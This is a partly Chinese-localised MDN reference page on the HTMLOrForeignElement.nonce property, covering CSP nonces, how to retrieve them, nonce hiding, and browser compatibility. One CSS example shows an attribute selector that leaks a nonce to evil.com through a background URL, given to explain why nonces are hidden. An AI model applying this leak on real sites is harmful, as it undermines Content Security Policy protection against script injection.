HTMLOrForeignElement.nonce

在此页

范例
规范
浏览器兼容性
另请参阅
相关话题

nonce 特性为 HTMLOrForeignElement interface returns the cryptographic number used once that is used by Content Security Policy to determine whether a given fetch will be allowed to proceed.

In later implementations, elements only expose their nonce attribute to scripts (and not to side-channels like CSS attribute selectors).

范例

Retrieving a nonce value

In the past, not all browsers supported the nonce IDL attribute, so a workaround is to try to use getAttribute as a fallback:

let nonce = script['nonce'] || script.getAttribute('nonce');

However, recent browsers version hide nonce values that are accessed this way (an empty string will be returned). The IDL property ( script['nonce'] ) will be the only way to access nonces.

Nonce hiding helps preventing that attackers exfiltrate nonce data via mechanisms that can grab data from content attributes like this:

script[nonce~=whatever] {
  background: url("https://evil.com/nonce?whatever");
}

规范

规范
HTML 实时标准 The definition of 'nonce' in that specification.

浏览器兼容性

The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. 更新 GitHub 上的兼容性数据

	桌面						移动
	Chrome	Edge	Firefox	Internet Explorer	Opera	Safari	Android webview	Chrome for Android	Firefox for Android	Opera for Android	Safari on iOS	Samsung Internet
`nonce`	Chrome 61	Edge 79	Firefox 75	IE No	Opera Yes	Safari 10	WebView Android 61	Chrome Android 61	Firefox Android No	Opera Android Yes	Safari iOS 10	Samsung Internet Android 8.0

图例

完整支持
不支持

另请参阅

Content Security Policy
CSP: script-src

元数据

最后修改： 2020 年 3 月 26 日

在此页

范例

Retrieving a nonce value

规范

浏览器兼容性

图例

另请参阅

相关话题